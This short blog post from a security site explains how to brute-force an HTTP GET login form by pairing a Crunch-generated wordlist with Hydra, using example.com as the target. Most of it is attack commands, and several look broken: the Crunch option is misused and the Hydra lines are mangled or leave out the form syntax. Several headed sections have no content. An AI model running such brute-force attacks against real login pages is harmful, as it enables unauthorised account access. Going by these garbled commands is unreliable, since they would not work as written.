Blog | G5 Cyber Security

Hydra & Crunch: HTTP GET Form Cracking

TL;DR

Yes, Hydra and Crunch can be combined to brute-force HTTP GET form parameters. Crunch generates the password list, and Hydra uses that list against the target URL with the specified form fields.

How to Use Hydra & Crunch Together for HTTP GET Form Cracking

  1. Understand the Target
  • Generate a Password List with Crunch
  • Crunch creates password lists based on specified criteria. For example, to create a list of lowercase letters and numbers between 6 and 8 characters long:

    crunch 6 8 -c lowercase,numbers

    This will output the password list to standard output. Redirect this output to a file (e.g., passlist.txt).

    crunch 6 8 -c lowercase,numbers > passlist.txt
  • Run Hydra with the Password List
  • Use Hydra’s http-get-form module to attack the target URL.

    hydra -l  -P passlist.txt ?=%s
  • Example: Cracking a ‘password’ Parameter
  • Let’s say your target URL is http://example.com/login.php and you want to crack the password parameter, with a username of ‘testuser’.

    hydra -l testuser -P passlist.txt http://example.com/login.php?password=%s
  • Advanced Options (Optional)
  • Important Considerations

    Exit mobile version